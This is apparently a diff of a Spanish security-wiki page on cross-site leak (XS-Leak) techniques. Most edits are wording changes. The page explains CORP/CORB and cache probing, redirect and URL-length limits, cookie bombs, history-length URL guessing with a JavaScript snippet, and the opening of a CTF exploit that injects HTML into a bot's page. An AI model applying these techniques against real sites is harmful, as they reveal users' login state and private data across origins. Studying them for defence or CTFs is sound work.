Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, consulta los enlaces de más información), **realizar una solicitud** que podría cargar ese recurso y tratar de cargar el recurso **con una solicitud incorrecta** (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso **no generó ningún error**, es porque estaba **en caché**.
|
||||
Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, consulta más información en los enlaces), **realizar una solicitud** que podría cargar ese recurso y tratar de cargar el recurso **con una solicitud incorrecta** (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso **no generó ningún error**, es porque estaba **en caché**.
|
||||
|
||||
### Directiva CSP
|
||||
|
||||
- **Métodos de Inclusión**: Marcos
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Más info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Resumen:** Las directivas de encabezado CSP pueden ser sondeadas utilizando el atributo iframe de CSP, revelando detalles de la política.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
@ -529,17 +529,17 @@ Una nueva característica en Google Chrome (GC) permite a las páginas web **pro
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más información**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **Resumen:** Los recursos asegurados con la Política de Recursos de Origen Cruzado (CORP) generarán un error cuando se recuperen desde un origen no permitido.
|
||||
- **Más info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **Resumen:** Los recursos asegurados con la Política de Recursos de Origen Cruzado (CORP) generarán un error cuando se obtengan de un origen no permitido.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, **bloquea las solicitudes de origen cruzado sin CORS al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error cuando se recupere**.
|
||||
El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, **bloquea las solicitudes de origen cruzado sin CORS al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error cuando se obtenga**.
|
||||
|
||||
### CORB
|
||||
|
||||
- **Métodos de Inclusión**: Elementos HTML
|
||||
- **Diferencia Detectable**: Encabezados
|
||||
- **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||||
- **Resumen**: CORB puede permitir a los atacantes detectar cuando el **encabezado `nosniff` está presente** en la solicitud.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||||
|
||||
@ -549,20 +549,20 @@ Consulta el enlace para más información sobre el ataque.
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezados
|
||||
- **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Resumen**: Si el encabezado Origin se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **recuperar** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**; si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
|
||||
En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si **no se genera** un **error**, significa que fue **recuperado correctamente de la web**; si se genera un error, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).\
|
||||
Ten en cuenta que si el origen no se refleja pero se usa un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
|
||||
|
||||
## Técnica de Atributos Legibles
|
||||
|
||||
### Redirección Fetch
|
||||
### Redirección de Fetch
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más información**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||||
- **Más info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||||
- **Resumen:** GC y SA permiten verificar el tipo de respuesta (opaque-redirect) después de que se completa la redirección.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
@ -572,7 +572,7 @@ Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros
|
||||
|
||||
- **Métodos de Inclusión**: Ventanas emergentes
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||||
- **Resumen:** Las páginas protegidas por la Política de Apertura de Origen Cruzado (COOP) impiden el acceso desde interacciones de origen cruzado.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
@ -582,22 +582,22 @@ Un atacante es capaz de deducir la presencia del encabezado de la Política de A
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API, Elementos HTML
|
||||
- **Diferencia Detectable**: Código de Estado / Contenido
|
||||
- **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Resumen:** Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande, lo que provoca que el servidor responda con un error y se genere una alerta.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Si una redirección del lado del servidor utiliza **entrada del usuario dentro de la redirección** y **datos adicionales**. Es posible detectar este comportamiento porque generalmente **los servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** son esa **longitud - 1**, porque la **redirección** está utilizando **esos datos** y **agregando** algo **extra**, se generará un **error detectable a través de Eventos de Error**.
|
||||
|
||||
Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
|
||||
Si de alguna manera puedes establecer cookies para un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
|
||||
Un ejemplo de la **bomba de cookies + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` o estar en el mismo contexto suele ser necesario para este tipo de ataque.
|
||||
`SameSite=None` o estar en el mismo contexto generalmente se necesita para este tipo de ataque.
|
||||
|
||||
### Longitud Máxima de URL - Lado del Cliente
|
||||
|
||||
- **Métodos de Inclusión**: Ventanas emergentes
|
||||
- **Diferencia Detectable**: Código de Estado / Contenido
|
||||
- **Más información**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Más info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Resumen:** Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande para una solicitud que se puede notar una diferencia.
|
||||
- **Ejemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
@ -607,9 +607,9 @@ Según la [documentación de Chromium](https://chromium.googlesource.com/chromiu
|
||||
|
||||
Por lo tanto, si la **URL de redirección respondida es más grande en uno de los casos**, es posible hacer que redirija con una **URL mayor a 2MB** para alcanzar el **límite de longitud**. Cuando esto sucede, Chrome muestra una página **`about:blank#blocked`**.
|
||||
|
||||
La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
|
||||
La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó** el **límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible**.
|
||||
|
||||
Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que se **utilice en la redirección**.
|
||||
Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que sea **utilizada en la redirección**.
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
@ -619,17 +619,17 @@ url-max-length-client-side.md
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API, Marcos
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más información**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Más info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Resumen:** Utiliza el límite de redirecciones del navegador para determinar la ocurrencia de redirecciones de URL.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Si el **número máximo** de **redirecciones** a seguir de un navegador es **20**, un atacante podría intentar cargar su página con **19 redirecciones** y finalmente **enviar a la víctima** a la página probada. Si se **genera un error**, entonces la página estaba intentando **redirigir a la víctima**.
|
||||
Si el **número máximo** de **redirecciones** a seguir de un navegador es **20**, un atacante podría intentar cargar su página con **19 redirecciones** y finalmente **enviar a la víctima** a la página probada. Si se genera un **error**, entonces la página estaba intentando **redirigir a la víctima**.
|
||||
|
||||
### Longitud del Historial
|
||||
|
||||
- **Métodos de Inclusión**: Marcos, Ventanas emergentes
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más información**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a través de la propiedad de longitud.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
@ -643,7 +643,7 @@ La **API de Historial** permite al código JavaScript manipular el historial del
|
||||
- **Resumen:** Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
|
||||
- **Ejemplo de Código**: A continuación
|
||||
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada**, pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -689,7 +689,7 @@ La filtración de información a través de elementos HTML es una preocupación
|
||||
- **HTMLMediaElement**: Este elemento revela la `duración` y los tiempos `buffered` del medio, que se pueden acceder a través de su API. [Lee más sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido del medio. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo `totalVideoFrames`, que puede indicar la cantidad de datos de video procesados. [Lee más sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando el fallo en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando la falla en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### Propiedad CSS
|
||||
|
||||
@ -717,7 +717,7 @@ El selector CSS `:visited` se utiliza para estilizar URLs de manera diferente si
|
||||
|
||||
A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de manera indirecta. Una técnica implica engañar al usuario para que interactúe con un área afectada por CSS, utilizando específicamente la propiedad `mix-blend-mode`. Esta propiedad permite la mezcla de elementos con su fondo, revelando potencialmente el estado visitado basado en la interacción del usuario.
|
||||
|
||||
Además, la detección puede lograrse sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un concepto de prueba (PoC) en un informe de errores de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo que el estado visitado sea detectable a través del análisis de tiempo.
|
||||
Además, la detección puede lograrse sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un proof of concept (PoC) en un informe de errores de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo que el estado visitado sea detectable a través del análisis de tiempo.
|
||||
|
||||
Para más detalles sobre estas propiedades y métodos, visita sus páginas de documentación:
|
||||
|
||||
@ -733,7 +733,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
|
||||
- **Resumen:** En Google Chrome, se muestra una página de error dedicada cuando una página es bloqueada de ser incrustada en un sitio de origen cruzado debido a restricciones de X-Frame-Options.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o de otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores configuran de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
|
||||
En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
|
||||
|
||||
### Detección de Descargas
|
||||
|
||||
@ -746,7 +746,7 @@ En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "de
|
||||
El encabezado `Content-Disposition`, específicamente `Content-Disposition: attachment`, instruye al navegador a descargar contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En navegadores basados en Chromium, hay algunas técnicas para detectar este comportamiento de descarga:
|
||||
|
||||
1. **Monitoreo de la Barra de Descargas**:
|
||||
- Cuando un archivo se descarga en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
|
||||
- Cuando se descarga un archivo en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
|
||||
- Al monitorear cambios en la altura de la ventana, los atacantes pueden inferir la aparición de la barra de descarga, sugiriendo que se ha iniciado una descarga.
|
||||
2. **Navegación de Descarga con Iframes**:
|
||||
- Cuando una página desencadena una descarga de archivo utilizando el encabezado `Content-Disposition: attachment`, no causa un evento de navegación.
|
||||
@ -766,17 +766,17 @@ En escenarios donde solo los usuarios autenticados pueden desencadenar tales des
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante el particionamiento de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante la partición de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de una navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
|
||||
|
||||
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen se cambió después de la detención, significa que el recurso fue almacenado en caché.\
|
||||
O simplemente **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que tarda**.
|
||||
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen fue cambiado después de la detención, significa que el recurso fue almacenado en caché.\
|
||||
O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
|
||||
|
||||
### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Resumen:** Es posible averiguar si una respuesta a una solicitud fetch es una redirección
|
||||
@ -786,7 +786,7 @@ O simplemente **enviar algún fetch a la página potencialmente almacenada en ca
|
||||
|
||||
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Tiempos
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Resumen:** Es posible intentar cargar un recurso y antes de que se cargue, la carga se interrumpe. Dependiendo de si se activa un error, el recurso fue o no almacenado en caché.
|
||||
@ -799,7 +799,7 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
|
||||
- **Métodos de Inclusión**: Elementos HTML (script)
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no se pueden leer directamente), esto podría **filtrar información valiosa**.
|
||||
- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no pueden ser leídos directamente), esto podría **filtrar información valiosa**.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -819,7 +819,7 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
|
||||
|
||||
### Tiempo de Fetch
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se pueden usar otros relojes.
|
||||
@ -853,7 +853,7 @@ Sin embargo, si por cualquier razón **DEBES** hacerlo **carácter por carácter
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"s**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Luego, si por ejemplo nuestra **inyección aparece antes de la bandera**, la **imagen** se **cargaría**, pero si aparece **después** de la **bandera**, la bandera + la basura **impedirán que se cargue** (tendrás que jugar con cuánta basura colocar). Esto es lo que sucedió en [**este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Otra opción sería usar el **scroll-to-text-fragment** si se permite:
|
||||
|
||||
@ -13,7 +13,7 @@ Veamos cómo funciona este exploit:
|
||||
- El atacante inyectará una nota con tantos **`<img`** tags **cargando** **`/js/purify.js`** como sea posible (más de 6 para bloquear el origen).
|
||||
- Luego, el atacante **eliminará** la **nota** con índice 1.
|
||||
- Luego, el atacante \[hará que el **bot acceda a la página** con la nota restante] y enviará una **solicitud** a **`victim.com/js/purify.js`** que él **medirá**. 
|
||||
- Si el tiempo es **mayor**, la **inyección** estaba en la **nota** que quedó, si el tiempo es **menor**, la **bandera** estaba allí.
|
||||
- Si el tiempo es **mayor**, la **inyección** estuvo en la **nota** que quedó, si el tiempo es **menor**, la **bandera** estaba allí.
|
||||
|
||||
> [!NOTE]
|
||||
> La verdad, al leer el script me perdí en alguna parte donde el **atacante hace que el bot cargue la página para activar los tags img**, no veo nada así en el código.
|
||||
|
||||
@ -26,9 +26,9 @@ Por lo tanto, para robar la bandera, la solución propuesta por @Strellyc\_ es q
|
||||
>
|
||||
> Si la **publicación eliminada** era el **HTML**, las **5 solicitudes aleatorias** serán **más rápidas** porque no necesitan competir por ese socket con el HTML inyectado.
|
||||
|
||||
### Exploit 1
|
||||
### Explotación 1
|
||||
|
||||
Este es el código de exploit, tomado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
||||
Este es el código de explotación, tomado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
||||
```html
|
||||
<!-- Form to inject HTML code in the bots page -->
|
||||
<form
|
||||
|
||||
